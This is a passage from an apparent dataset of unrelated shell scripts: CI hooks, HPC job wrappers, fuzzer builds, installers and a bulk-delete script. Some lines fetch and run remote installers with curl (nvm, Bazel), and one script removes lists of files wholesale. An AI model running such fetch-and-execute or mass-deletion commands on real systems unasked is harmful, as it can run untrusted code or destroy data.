animation%05d.png) >/dev/null\n}\n\nconvert_jpg(){\n\tall_png=$(ls ./assets/\"$dir\" | grep \"anim\" |tr -s '\\n' ' ')\n\tall_png=($all_png)\n\tfor png in ${all_png[@]}\n\tdo\n\t\tsub_convert_jpg \"$png\"\n\tdone\n}\n\n# $1 => PNG to convert\nsub_convert_jpg(){\n\tconvert \"./assets/\"$dir\"/\"$1\"\" ./assets/\"$dir\"/$(echo \"$1\" | sed --expression='s/.png/.jpg/g')\n\trm \"./assets\"/\"$dir\"/\"$1\"\n}\n\n# $1 => directory\njpg_to_ascii(){\n\tall_jpg=$(ls ./assets/$1 | grep -E \"animation[0-9]{5}.jpg\" |tr -s '\\n' ' ')\n\tall_jpg=($all_jpg)\n\tfor jpg in \"${all_jpg[@]}\"\n\tdo\n\t\tjp2a \"./assets/\"$1\"/\"$jpg\"\" --size=60x30 --color --background=light > ./assets/\"$1\"/$(echo \"$jpg\" | sed --expression='s/.jpg//g')\n\t\trm \"./assets/\"$1\"/\"$jpg\"\"\n\tdone\n}\n\n# $1 => directory\ncleaner(){\n\trm \"./assets/\"$1\"/\"$1\".gif\"\n}\n\n\n\n#\n\n### Main Function\n \n \ndependencies_check\nif [ $? -eq 1 ]\nthen\n\techo \"missing dependencies... stopping\"\n\nfi\nif [ $full_install_mode -eq 1 ]\nthen\ninstalling\nfi\necho \"Seems to have encountered no error, you're ready to launch the script now\"\n\n#"} {"text": "nova/tests/live_migration/hooks/run_tests.sh\n#!/bin/bash\n# Live migration dedicated ci job will be responsible for testing different\n# environments based on underlying storage, used for ephemerals.\n# This hook allows to inject logic of environment reconfiguration in ci job.\n# Base scenario for this would be:\n# - run live-migration on env without shared storage\n# - set up ceph for ephemerals, and reconfigure nova, tempest for that\n# - run live-migration tests\n# - remove ceph and set up nfs for ephemerals, make appropriate change in nova\n# and tempest config\n# - run live-migration tests\n\nset -x\ncd $BASE/new/tempest\nsudo -H -u tempest tox -eall -- --concurrency=$TEMPEST_CONCURRENCY live_migration\n\n#nfs preparation\necho \"subnode info:\"\ncat /etc/nodepool/sub_nodes_private\necho \"inventory:\"\ncat $WORKSPACE/inventory\necho \"process info:\"\nps aux | grep nova-compute\nsource $WORKSPACE/devstack-gate/functions.sh\n\nif uses_debs; then\n $ANSIBLE all --sudo -f 5 -i \"$WORKSPACE/inventory\" -m apt \\\n -a \"name=nfs-common state=present\"\n $ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m apt \\\n -a \"name=nfs-kernel-server state=present\"\nelif is_fedora; then\n $ANSIBLE all --sudo -f 5 -i \"$WORKSPACE/inventory\" -m yum \\\n -a \"name=nfs-common state=present\"\n $ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m yum \\\n -a \"name=nfs-kernel-server state=present\"\nfi\n\n$ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m replace -a \"dest=/etc/idmapd.conf regexp='^Nobody-User = nobody' replace='Nobody-User = nova'\"\n\n$ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m replace -a \"dest=/etc/idmapd.conf regexp='^Nobody-Group = nogroup' replace='Nobody-Group = nova'\"\n\nSUBNODES=$(cat /etc/nodepool/sub_nodes_private)\nfor SUBNODE in $SUBNODES ; do\n $ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m lineinfile -a \"dest=/etc/exports line='/opt/stack/data/nova/instances $SUBNODE(rw,fsid=0,insecure,no_subtree_check,async,no_root_squash)'\"\ndone\n\n$ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m shell -a \"exportfs -a\"\n$ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m service -a \"name=nfs-kernel-server state=restarted\"\n$ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m service -a \"name=idmapd state=restarted\"\n$ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m shell -a \"iptables -A INPUT -p tcp --dport 111 -j ACCEPT\"\n$ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m shell -a \"iptables -A INPUT -p udp --dport 111 -j ACCEPT\"\n$ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m shell -a \"iptables -A INPUT -p tcp --dport 2049 -j ACCEPT\"\n$ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m shell -a \"iptables -A INPUT -p udp --dport 2049 -j ACCEPT\"\nprimary_node=$(cat /etc/nodepool/primary_node_private)\n$ANSIBLE subnodes --sudo -f 5 -i \"$WORKSPACE/inventory\" -m shell -a \"mount -t nfs4 -o proto=tcp,port=2049 $primary_node:/ /opt/stack/data/nova/instances/\"\n$ANSIBLE subnodes --sudo -f 5 -i \"$WORKSPACE/inventory\" -m file -a \"path=/opt/stack/data/nova/instances/test_file state=touch\"\necho \"check whether NFS shared storage works or not:\"\nls -la /opt/stack/data/nova/instances\nSCREEN_NAME=${SCREEN_NAME:-stack}\n$ANSIBLE primary --sudo -f 5 -i \"$WORKSPACE/inventory\" -m replace -a \"dest=$BASE/new/tempest/etc/tempest.conf regexp='^block_migration_for_live_migration = True' replace='block_migration_for_live_migration = False'\"\n\nsudo -H -u tempest tox -eall -- --concurrency=$TEMPEST_CONCURRENCY live_migration"} {"text": "#!/bin/sh\n\nneonwolf_palette=(\n\t39\n\t81\n\t82\n\t121\n\t154\n\t165\n\t166\n\t196\n\t222\n\t# grays\n\t232\n\t235\n\t238 # used in tig as digraph line color, nowhere else\n\t240\n\t255\n)\n\n# colors that were part of the original palette, but that I've been ignoring\nbadwolf_palette_aux=(\n\t16\n\t27\n\t137\n\t173\n\t211\n\t214\n\t#221\n\t# grays\n\t241\n)\n\nSCRIPTDIR=\"$(dirname \"$0\")\"\nexec \"$SCRIPTDIR\"/256colors2.pl \"${neonwolf_palette[@]}\" \"${badwolf_palette_aux[@]}\""} {"text": "#!/bin/bash\n\n#SBATCH --nodes 1\n#SBATCH --ntasks-per-node 1\n#SBATCH \n\n\n#set -eu\n\ncp $SRC_DIR/InputDecks/clover_bm16.in clover.in\n\ncase \"$MODEL\" in\n mpi)\n export OMP_NUM_THREADS=1\n mpirun -np 64 --bind-to core ./$BENCHMARK_EXE\n ;;\n omp)\n export OMP_NUM_THREADS=64 OMP_PROC_BIND=true OMP_PLACES=cores\n mpirun -np 1 --bind-to none ./$BENCHMARK_EXE\n ;;\n acc)\n export ACC_NUM_CORES=64\n mpirun -np 1 --bind-to none ./$BENCHMARK_EXE\n\t;;\n kokkos)\n export OMP_NUM_THREADS=64 OMP_PROC_BIND=true OMP_PLACES=cores\n mpirun -np 1 --bind-to none ./$BENCHMARK_EXE\n ;;\n *)\n echo \"Unknown run configuration for model '$MODEL'\"\n exit 1\n ;;\nesac"} {"text": "models/coamps_nest/shell_scripts/TEMPLATES/restart_wrapper.sh\n#!/bin/bash\n#\n# This code may (or may not) be part of the COAMPS distribution,\n# So it is not protected by the DART copyright agreement.\n#\n# DART $Id$\n#\n###############################################################################\n#\n# AUTHOR: \n# Naval Research Laboratory\n######\n#\nusage=\"Usage: `basename $0` [-d dtg -i icycle -m mems_to_run -W dependency]\" \nwhile getopts \":d:i:m:W:\" option\ndo\n case $option in\n d ) dtg=$OPTARG;;\n i ) icycle_loc=$OPTARG;;\n m ) mems_to_run=$OPTARG;;\n W ) depend=$OPTARG;;\n \\? ) echo $usage ; exit 65;;\n * ) echo $usage ; exit 65;;\n esac\ndone\n\necho \"#\"\necho \"#################### BEGIN restart_wrapper.csh ####################\"\necho \"#\"\n\nBATCH=\"qsub\"\nSED='sed -i -e'\n\nif [[ $depend ]]; then depend=\"-W depend=afterok:${depend}\"; fi\n: ${BATCH_DEPEND:=$BATCH}\n\nPATH_CONFIG=CONFIG/FILE/GOES/HERE\n. ${PATH_CONFIG}\n\n: ${dtg:=$cdtg_beg}\n: ${icycle_loc:=$icycle}\n: ${is_restart:='f'}\n: ${mems_to_run:=-1}\n: ${CYCLE_DA:='t'}\nCYCLE_DA=${CYCLE_DA:0:1}\n\n: ${WALLTIME_RESTART:=\"00:02:00\"}\nWALLTIME_RESTART_LOC=${WALLTIME_RESTART}\n\nscrDir=${COAMPS_RUN_BASE_DIR}\nDART_BIN=${scrDir}/bin\nscriptDir=${scrDir}/scripts\n\ndtgp1=${dtg}\ndtg=`echo ${dtgp1} -${icycle_loc} | ${DART_BIN}/advance_time`\ndtgm1=`echo ${dtg} -${icycle_loc} | ${DART_BIN}/advance_time`\n\nLOG_DIR=${scrDir}/log\nLOG_DTG=${LOG_DIR}/${dtg}\n\nrestart_group=${scriptDir}/restart_group.${dtg}.sh\nresubmitDA=${scriptDir}/resub_enkf.${dtg}.sh\nqueue_log=${LOG_DIR}/queue_${EXPNAME}.log\n\ncd ${scrDir}\nnnest=`grep nnest ${scrDir}/namelist | sed 's/,//g' | awk -F= '{print $2}'`\n\nif [ ! -d ${LOG_DIR} ]; then mkdir -p ${LOG_DIR}; fi\nif [ ! -d ${LOG_DTG} ]; then mkdir -p ${LOG_DTG}; fi\n\n# Get the machine layout\n. ${scriptDir}/HPC_CONFIG.sh\nMACH_LAYOUT\n\nif [ ${mems_to_run} -eq -1 ]; then\n ${scriptDir}/update_namelists.sh -d ${dtg}\nelse\n ${scriptDir}/update_namelists.sh -d ${dtg} -m ${mems_to_run}\nfi\n\nmems_to_run=( `echo ${mems_to_run} | sed 's/,/ /g'` )\nif [ ${JOB_ARRAY_AVAILABLE} == 'n' -a ${mems_to_run} -eq -1 ]; then\n mems_to_run=( `seq 1 ${ENSEMBLE_SIZE}` )\nfi\n\nfor member in ${mems_to_run[@]}; do\n\nif [ ${JOB_ARRAY_AVAILABLE} == 'y' -a ${mems_to_run} -eq -1 ]; then\n\nif [ -e ${restart_group} ]; then rm ${restart_group}; fi\nrestart_group_array=${restart_group}\ncat > ${restart_group} << EOF\n#!/bin/bash\n`PBS_DIRECTIVE ${EXPNAME} ${dtg} ${CPU_PER_NODE} 1 ${WALLTIME_RESTART_LOC} ${LOG_DTG} n y ${PBS_QUEUE_ENS}` \nEOF\n${SED} \"s/JOB_ARRAY/1\\-${ENSEMBLE_SIZE}/\" ${restart_group}\n\nelse\n\nrestart_group_tmp=`echo ${restart_group} | sed \"s/restart_group/restart_group.${member}/\"`\nrestart_group_array=( ${restart_group_array[@]} ${restart_group_tmp} )\n\nif [ -e ${restart_group_tmp} ]; then rm ${restart_group_tmp}; fi\ncat > ${restart_group_tmp} << EOF\n#!/bin/bash\n`PBS_DIRECTIVE ${EXPNAME}.${member} ${dtg} ${CPU_PER_NODE} 1 ${WALLTIME_RESTART_LOC} ${LOG_DTG} n n` \nPBS_ARRAY_INDEX=${member}\nEOF\nfi\n\ndone\n\nfor restart_group_script in ${restart_group_array[@]}; do\n\ncat >> ${restart_group_script} << EOF\nSED='${SED}'\n\nscrDir=${scrDir}\nWORKDIR_NEW=${scrDir}/${dtgp1}\nLOG_DIR=\\${scrDir}/log\nscriptDir=\\${scrDir}/scripts\nDART_BIN=\\${scrDir}/bin\n\nCOAMPS_BIN_DIR=${COAMPS_HOME}/bin\nCOAMPS_DART_DIR=${DART_HOME}\nNL_STRIP=\\${scriptDir}/strip_namelist.pl\n\necho Entering ${restart_group_script}\necho Running on host \\`hostname\\`\necho Time is \\`date\\`\necho Directory is \\`pwd\\`\n\n# The COAMPS ensemble configuration has directories associated with\n# the ensemble member number, thus member numbers with digits less\n# than the maximum must be zero-padded. For ease of use, just force\n# this to a fixed digit length for now.\nelement=\\${PBS_ARRAY_INDEX}\ndigits=5\nelement_num=\\`printf \"%0\\${digits}d\" \\$element\\`\nensdir=\\$element_num\nCOAMPS_ENS=\\${scrDir}/\\${ensdir}\nicycle_loc=${icycle_loc}\n\nlogtime=$dtg\ncd \\${COAMPS_ENS}/data\nrm -f dart_vector\n\n# Convert the resulting COAMPS file to a dart file\n\\${NL_STRIP} ../namelist convert.vars convert\n\\${SED} 's/\\(^&convert.*\\)/\\1\\n is_pmo = \\.false\\.,/' ./convert.nml\n\\${SED} \"s/\\(^&convert.*\\)/\\1\\n is_first = \\.true\\.,/\" ./convert.nml\n\n\\${DART_BIN}/trans_coamps_to_dart\nif [ \\$? -ne 0 ]; then\n echo \"Unsuccessful translation to DART of member \\$element!\"\n exit 1\nfi\n\nif [ ! -e \\${WORKDIR_NEW} ]; then mkdir -p \\${WORKDIR_NEW}; fi\n# Move the dart file back to the working directory - only now can we\n# safely delete the initial condition file.\nud_file=\\`printf coamps_state_fcst.%04d \\${element}\\`\necho \"mv dart_vector \\${WORKDIR_NEW}/\\${ud_file}\"\nmv dart_vector \\${WORKDIR_NEW}/\\${ud_file}\nif [ \\${element} -eq 1 ]; then\n cp datahd*_${dtg}_* \\${WORKDIR_NEW}\n cp terrht*_${dtg}_* \\${WORKDIR_NEW}\nfi\n\ncd \\${COAMPS_ENS}\n\necho Exiting ${restart_group_script}\necho Time is \\`date\\`\n\nexit 0\nEOF\n\ndone\n\nif [ -e ${resubmitDA} ]; then rm ${resubmitDA}; fi\ncat > ${resubmitDA} << EOF\n#!/bin/bash\n`PBS_DIRECTIVE RESUB_ENKF ${dtg} ${TRANS_PROCS} ${MIN_PROCS} 00:01:00 ${LOG_DIR} y n` \n${scriptDir}/run_filter.sh -d ${dtgp1}\nexit 0\nEOF\n\necho \"Submitting jobs to PBS queue...\"\nchmod 777 ${resubmitDA} ${restart_group_array[@]}\n\nfor restart_group_script in ${restart_group_array[@]}; do\n GROUP_JOB_ID=( ${GROUP_JOB_ID[@]} `${BATCH_DEPEND} ${restart_group_script} ${depend} | sed 's/\\..*$//'` )\ndone\nGROUP_JOB_ID=`echo ${GROUP_JOB_ID[@]} | sed 's/ /:/g'`\n\ncd ${scrDir}\nif [ $dtgp1 -le $cdtg_end ]; then\n RSUB_JOB_ID=`${BATCH} -W depend=afterok:${GROUP_JOB_ID} ${resubmitDA}`\nfi\n\nif [ ! -e ${queue_log} ]; then touch ${queue_log}; fi\ncat >> ${queue_log} << EOF_QUEUE\n${EXPNAME} ${dtg} RESTART_WRAPPER\n Submitted at `date`\n CYCL_JOB_ID: ${GROUP_JOB_ID}\n RSUB_JOB_ID: ${RSUB_JOB_ID}\nEOF_QUEUE\n\nrm -f ${restart_group_array[@]}\nrm -f ${resubmitDA}\n\necho \"#################### END restart_wrapper.sh ####################\"\n\nexit 0\n\n# \n# $URL$\n# $Revision$\n# $Date$"} {"text": "#!/bin/sh\n# builds nczero\n\ncd $(dirname $0)\n\nCMAKEFLAGS=-DCMAKE_EXPORT_COMPILE_COMMANDS=ON\n\nif [ \"$1\" = \"test\" ]; then\n CMAKEFLAGS=\"$CMAKEFLAGS -DBUILD_TESTS=ON\"\n shift\nfi\n\nif [ \"$1\" = \"debug\" ]; then\n CMAKEFLAGS=\"$CMAKEFLAGS -DDEBUG=ON\"\n shift\nfi\n\nmkdir -p build\ncd build\necho $@\ncmake $CMAKEFLAGS $@ --verbose ..\nmake"} {"text": "NoSQL/ce/start-kvlite.sh\n#!/bin/bash\n#\n# Copyright (c) 2022 Oracle and/or its affiliates.\n# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/\n\nset -e\n\njava -jar lib/kvstore.jar kvlite -secure-config disable -root /kvroot -host \"$HOSTNAME\" -port \"$KV_PORT\" -admin-web-port \"$KV_ADMIN_PORT\" -harange \"${KV_HARANGE/\\-/\\,}\" -servicerange \"${KV_SERVICERANGE/\\-/\\,}\" &\njava -jar lib/httpproxy.jar -helperHosts \"$HOSTNAME:$KV_PORT\" -storeName kvstore -httpPort \"$KV_PROXY_PORT\" -verbose true"} {"text": "darkma773r/oss-fuzz\n#!/bin/bash -eu\n# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n################################################################################\n\n# Place to keep dependencies for static linking\nDEPS=/deps\nmkdir ${DEPS}\n\n\n# Build libffi\ncd $SRC\ntar xvfz libffi-3.2.1.tar.gz\ncd libffi-3.2.1\n./configure --disable-shared\nmake -j$(nproc)\nexport LIBFFI_LIBS=\"-L/src/libffi-3.2.1 libraries/ -lffi\"\ncp ./x86_64-unknown-linux-gnu/.libs/libffi.a ${DEPS}/\n\n\n# Build libxml2\ncd $SRC/libxml2\n./autogen.sh \\\n --disable-shared \\\n --without-debug \\\n --without-ftp \\\n --without-http \\\n --without-legacy \\\n --without-python\nmake -j$(nproc)\nmake install\ncp .libs/libxml2.a ${DEPS}/\n\n\n# Build glib\ncd $SRC/glib\nGLIB_BUILD=$WORK/meson\nrm -rf $GLIB_BUILD\nmkdir $GLIB_BUILD\nmeson $GLIB_BUILD \\\n -Db_lundef=false \\\n -Ddefault_library=static \\\n -Dlibmount=disabled\nninja -C $GLIB_BUILD\nninja -C $GLIB_BUILD install\n\ncp ${GLIB_BUILD}/gobject/libgobject-2.0.a ${DEPS}/\ncp ${GLIB_BUILD}/gmodule/libgmodule-2.0.a ${DEPS}/\ncp ${GLIB_BUILD}/glib/libglib-2.0.a ${DEPS}/\n\n\n# Build Pidgin\ncd $SRC \ntar -xf pidgin-2.14.5.tar.bz2\nmv pidgin-2.14.5 pidgin\ncd pidgin\n./configure --disable-consoleui \\\n --disable-shared \\\n --disable-screensaver \\\n --disable-sm \\\n --disable-gtkspell \\\n --disable-gevolution \\\n --enable-gnutls=no \\\n --disable-gstreamer \\\n --disable-vv \\\n --disable-idn \\\n --disable-meanwhile \\\n --disable-avahi \\\n --disable-dbus \\\n --disable-perl \\\n --disable-tcl \\\n --disable-cyrus-sasl \\\n --disable-gtkui \\\n --enable-nss=no\nmake -j$(nproc)\n\n\n# Build fuzzers\nreadonly FUZZERS=( \\\n pidgin_xml_fuzzer\n pidgin_utils_fuzzer\n)\n\ncd libpurple\ncp $SRC/*fuzzer.c .\n\nfor fuzzer in \"${FUZZERS[@]}\"; do\n $CC $CFLAGS -DHAVE_CONFIG_H \\\n -I. \\\n -I.. \\\n -I${SRC}/glib \\\n -I${SRC}/glib/glib \\\n -I${SRC}/glib/gmodule \\\n -I${GLIB_BUILD} \\\n -I${GLIB_BUILD}/glib \\\n -I/usr/lib/x86_64-linux-gnu/glib-2.0/include \\\n -I/src/pidgin/libpurple/protocols/jabber \\\n -I/usr/local/include/libxml2 \\\n -c $fuzzer.c \\\n -o $fuzzer.o\n\n $CC $CXXFLAGS $LIB_FUZZING_ENGINE $fuzzer.o \\\n -o $OUT/$fuzzer \\\n /src/pidgin/libpurple/protocols/jabber/.libs/libjabber.a \\\n ./.libs/libpurple.a \\\n ${DEPS}/libxml2.a \\\n ${DEPS}/libgobject-2.0.a \\\n ${DEPS}/libgmodule-2.0.a \\\n ${DEPS}/libglib-2.0.a \\\n ${DEPS}/libffi.a \\\n -lresolv -lz -llzma\ndone\n\nzip $OUT/pidgin_xml_fuzzer_seed_corpus.zip $SRC/go-fuzz-corpus/xml/corpus/*\ncp $SRC/fuzzing/dictionaries/xml.dict $OUT/pidgin_xml_fuzzer.dict"} {"text": "gunicorn --bind 0.0.0.0:80 --access-logfile access.log --reload origin:app"} {"text": "1-10\n#!/bin/bash\n# shellcheck disable=1090\n\nnvmInstall(){\n local NVM=\"0.33.8\"\n\n bash -c \"$(curl -s -o- https://raw.githubusercontent.com/creationix/nvm/v${NVM}/install.sh)\"\n\n # Source `nvm`\n [[ -s ~/.nvm/nvm.sh ]] && . ~/.nvm/nvm.sh\n\n nvm install --lts\n}\n\n# If this file is running in terminal call the function `nvmInstall`\n# Otherwise just source it\nif [ \"$(basename \"${0}\")\" = \"nvm.sh\" ]\nthen\n nvmInstall \"${@}\"\nfi"} {"text": "# shellcheck disable=SC2148,SC1091\nPLANDIR=$(dirname \"${BASH_SOURCE[0]}\")\nsource \"${PLANDIR}/../postgresql/plan.sh\"\n\npkg_name=postgresql94\npkg_version=9.4.18\npkg_origin=core\npkg_maintainer=\"The Habitat Maintainers <>\"\npkg_description=\"PostgreSQL is a powerful, open source object-relational database system.\"\npkg_upstream_url=\"https://www.postgresql.org/\"\npkg_license=('PostgreSQL')\npkg_source=\"https://ftp.postgresql.org/pub/source/v${pkg_version}/postgresql-${pkg_version}.tar.bz2\"\npkg_shasum=\"428337f2b2f5e3ea21b8a44f88eb89c99a07a324559b99aebe777c9abdf4c4c0\"\npkg_dirname=\"postgresql-${pkg_version}\""} {"text": "watchmedo.sh\n#!/bin/bash\ngnome-shell\n#watchmedo shell-command --recursive --ignore-directories --patterns=\"*.py\" --wait --command='fab test'"} {"text": "0\n#!/bin/bash\n\ndata()\n{\n\tperl <<'EOF'\n$n = 1000;\n$m = 1000;\n$nmax = 1000;\nprint(\"$n\\n\");\nfor (1..$n) {\n\tprintf(\"%d \", rand($nmax));\n}\nprint(\"\\n$m\\n\");\nfor (1..$m) {\n\t$op = int(rand(3) + 1);\n\tprint(\"$op \");\n\tif ($op == 1) {\n\t\tprintf(\"%d\\n\", rand($n) + 1);\n\t} elsif ($op == 2) {\n\t\tprintf(\"%d %d\\n\", rand($n) + 1, rand($nmax));\n\t\t++$n;\n\t} else {\n\t\tprintf(\"%d\\n\", rand($n) + 1);\n\t\t--$n;\n\t}\n}\nEOF\n}\n\ncompile()\n{\n\tg++ std.cpp -o std && gcc main.c -o main\n}\n\ncompile || exit 1\nwhile\n\tdata > in\n\t./main < in > out\n\t./std < in > ans\n\n\tdiff out ans\ndo :; done"} {"text": "vermashresth/ray0\n#!/usr/bin/env bash\n\nset -euo pipefail\n\nROOT_DIR=$(cd \"$(dirname \"${BASH_SOURCE:-$0}\")\"; pwd)\n\nversion=\"1.1.0\"\nachitecture=\"${HOSTTYPE}\"\nplatform=\"unknown\"\ncase \"${OSTYPE}\" in\n msys)\n echo \"Platform is Windows.\"\n platform=\"windows\"\n # No installer for Windows\n ;;\n darwin*)\n echo \"Platform is Mac OS X.\"\n platform=\"darwin\"\n ;;\n linux*)\n echo \"Platform is Linux (or WSL).\"\n platform=\"linux\"\n ;;\n *)\n echo \"Unrecognized platform.\"\n exit 1\nesac\n\n# Sanity check: Verify we have symlinks where we expect them, or Bazel can produce weird \"missing input file\" errors.\n# This is most likely to occur on Windows, where symlinks are sometimes disabled by default.\n{ git ls-files -s || true; } | {\n missing_symlinks=()\n while read -r mode digest sn path; do\n if [ \"${mode}\" = 120000 ]; then\n test -L \"${path}\" || missing_symlinks+=(\"${paths}\")\n fi\n done\n if [ ! 0 -eq \"${#missing_symlinks[@]}\" ]; then\n echo \"error: expected symlink: ${missing_symlinks[@]}\" 1>&2\n echo \"For a correct build, please run 'git config --local core.symlinks true' and re-run git checkout.\" 1>&2\n false\n fi\n}\n\nif [ \"${OSTYPE}\" = \"msys\" ]; then\n target=\"${MINGW_DIR-/usr}/bin/bazel.exe\"\n mkdir -p \"${target%/*}\"\n curl -s -L -R -o \"${target}\" \"https://github.com/bazelbuild/bazel/releases/download/${version}/bazel-${version}-${platform}-${achitecture}.exe\"\nelse\n target=\"./install.sh\"\n curl -s -L -R -o \"${target}\" \"https://github.com/bazelbuild/bazel/releases/download/${version}/bazel-${version}-installer-${platform}-${achitecture}.sh\"\n chmod +x \"${target}\"\n \"${target}\" --user\n rm -f \"${target}\"\nfi\n\nadd_missing_lines() {\n local file=\"$1\"\n shift\n local line\n for line in \"$@\"; do\n grep -q -F -x -- \"${line}\" \"${file}\" || printf \"%s\\n\" \"${line}\" >> \"${file}\"\n done\n}\n\nadd_missing_lines \"${HOME}/.bashrc\" 'export PATH=\"${HOME}/bin:${PATH}\"'\n\nif [ \"${TRAVIS-}\" = true ]; then\n # Use bazel disk cache if this script is running in Travis.\n mkdir -p \"${HOME}/ray-bazel-cache\"\n cat <> \"${HOME}/.bazelrc\"\nbuild --disk_cache=\"${HOME}/ray-bazel-cache\"\nbuild --show_timestamps # Travis doesn't have an option to show timestamps, but GitHub Actions does\nEOF\nfi\nif [ -n \"${GITHUB_WORKFLOW-}\" ]; then\n cat <<\"EOF\" >> \"${HOME}/.profile\"\n# Set up environment variables the CI user needs on login to run Bazel on each platform.\nif [ \"${OSTYPE}\" = \"msys\" ]; then\n export USE_CLANG_CL=1\n export MSYS2_ARG_CONV_EXCL=\"*\" # Don't let MSYS2 attempt to auto-translate arguments that look like paths\n latest_python_bin=\"\" # Detect the system Python from the registry\n for latest_python_bin in /proc/registry/HKEY_LOCAL_MACHINE/Software/Python/PythonCore/*/InstallPath/@; do\n if [ -f \"${latest_python_bin}\" ]; then\n read -r latest_python_bin < \"${latest_python_bin}\"\n latest_python_bin=\"${latest_python_bin}\\\\\"\n else\n latest_python_bin=\"\"\n fi\n done\n latest_python_bin=\"${latest_python_bin}python.exe\"\n if [ -f \"${latest_python_bin}\" ]; then\n export PYTHON2_BIN_PATH=\"${latest_python_bin}\" PYTHON3_BIN_PATH=\"${latest_python_bin}\"\n fi\nfi\nEOF\n cat <> \"${HOME}/.bazelrc\"\n--output_base=\".bazel-out\" # On GitHub Actions, staying on the same volume seems to be faster\nEOF\nfi\nif [ \"${TRAVIS-}\" = true ] || [ -n \"${GITHUB_WORKFLOW-}\" ]; then\n cat <> \"${HOME}/.bazelrc\"\n# CI output doesn't scroll, so don't use curses\nbuild --color=yes\nbuild --curses=no\nbuild --progress_report_interval=60\n# Use ray google cloud cache\nbuild --remote_cache=\"https://storage.googleapis.com/ray-bazel-cache\"\nbuild --show_progress_rate_limit=15\nbuild --show_task_finish\nbuild --ui_actions_shown=1024\nbuild --verbose_failures\nEOF\n # If we are in master build, we can write to the cache as well.\n upload=0\n if [ \"${TRAVIS_PULL_REQUEST-false}\" = false ]; then\n if [ -n \"${BAZEL_CACHE_CREDENTIAL_B64:+x}\" ]; then\n {\n printf \"%s\" \"${BAZEL_CACHE_CREDENTIAL_B64}\" | base64 -d - >> \"${HOME}/bazel_cache_credential.json\"\n } 2>&- # avoid printing secrets\n upload=1\n elif [ -n \"${encrypted_1c30b31fe1ee_key:+x}\" ]; then\n {\n openssl aes-256-cbc -K \"${encrypted_1c30b31fe1ee_key}\" \\\n -iv \"${encrypted_1c30b31fe1ee_iv}\" \\\n -in \"${ROOT_DIR}/bazel_cache_credential.json.enc\" \\\n -out \"${HOME}/bazel_cache_credential.json\" -d\n } 2>&- # avoid printing secrets\n if [ 0 -eq $? ]; then\n upload=1\n fi\n fi\n fi\n if [ 0 -ne \"${upload}\" ]; then\n translated_path=\"${HOME}/bazel_cache_credential.json\"\n if [ \"${OSTYPE}\" = msys ]; then # On Windows, we need path translation\n translated_path=\"$(cygpath -m -- \"${translated_path}\")\"\n fi\n cat <> \"${HOME}/.bazelrc\"\nbuild --google_credentials=\"${translated_path}\"\nEOF\n else\n echo \"Using remote build cache in read-only mode.\" 1>&2\n cat <> \"${HOME}/.bazelrc\"\nbuild --remote_upload_local_results=false\nEOF\n fi\nfi"} {"text": "refactoring_2017/script_sed/hapus_app_aset_sman.sh\n#!/bin/sh\n#\n\n#script untuk hapus app di django\n\nfind disdiksman1awayan -name \"*.py\" >> /tmp/file1\nfind disdiksman1halong -name \"*.py\" >> /tmp/file1\nfind disdiksman1juai -name \"*.py\" >> /tmp/file1\nfind disdiksman1lampihong -name \"*.py\" >> /tmp/file1\nfind disdiksman1paringin -name \"*.py\" >> /tmp/file1\nfind disdiksman1tebingtinggi -name \"*.py\" >> /tmp/file1\nfind disdiksman2halong -name \"*.py\" >> /tmp/file1\nfind disdiksman2juai -name \"*.py\" >> /tmp/file1\nfind disdiksman2paringin -name \"*.py\" >> /tmp/file1\nfind disdiksmkn1batumandi -name \"*.py\" >> /tmp/file1\nfind disdiksmkn1paringin -name \"*.py\" >> /tmp/file1\nfind disdiksmkppnparingin -name \"*.py\" >> /tmp/file1\n\n\n\ncp /tmp/file1 /tmp/file2\ncat /tmp/file1 | sed -e s/^/rm\\ /g > /tmp/file1_rm\ncat /tmp/file2 | sed -e s/^/cvs\\ delete\\ /g > /tmp/file2_cvs_delete\n\nsh /tmp/file1_rm\nsh /tmp/file2_cvs_delete"} {"text": "bootstrap.sh\n#!/usr/bin/env sh\n\nset -e\n\n# Main configuration\n\nBOOTSTRAP_PROJECT_NAME=go-bootstrap\n\nBOOTSTRAP_PROJECT_VERSION=$1\nif [[ -z \"${BOOTSTRAP_PROJECT_VERSION}\" ]]; then\n BOOTSTRAP_PROJECT_VERSION=master\nfi\n\nBOOTSTRAP_PROJECT_ARCHIVE_DIRNAME=${BOOTSTRAP_PROJECT_NAME}-${BOOTSTRAP_PROJECT_VERSION}\nBOOTSTRAP_PROJECT_ARCHIVE_URL=https://github.com/segence/${BOOTSTRAP_PROJECT_NAME}/archive/${BOOTSTRAP_PROJECT_VERSION}.tar.gz\n\n# Constants\n\nFONT_ESC=$(printf '\\033')\nFONT_BOLD=${FONT_ESC}[1m\nFONT_RED=\"${FONT_ESC}[0;31m\"\nFONT_NC=${FONT_ESC}[0m # No colour\n\n# Functions\n\nfunction stringRegexValidation {\n if [[ ! \"${1}\" =~ ^[a-z0-9-]+$ ]]; then\n echo \"${FONT_RED}${2} name should only contain lowercase letters, numbers and hyphens${FONT_NC}\"\n exit 2\n fi\n}\n\nfunction inputStringValidation {\n if [[ -z \"${1}\" ]]; then\n echo \"${FONT_RED}${2} name has to be defined${FONT_NC}\"\n exit 1\n fi\n\n stringRegexValidation \"${1}\" \"${2}\"\n}\n\n# Questions\nread -p 'Organisation 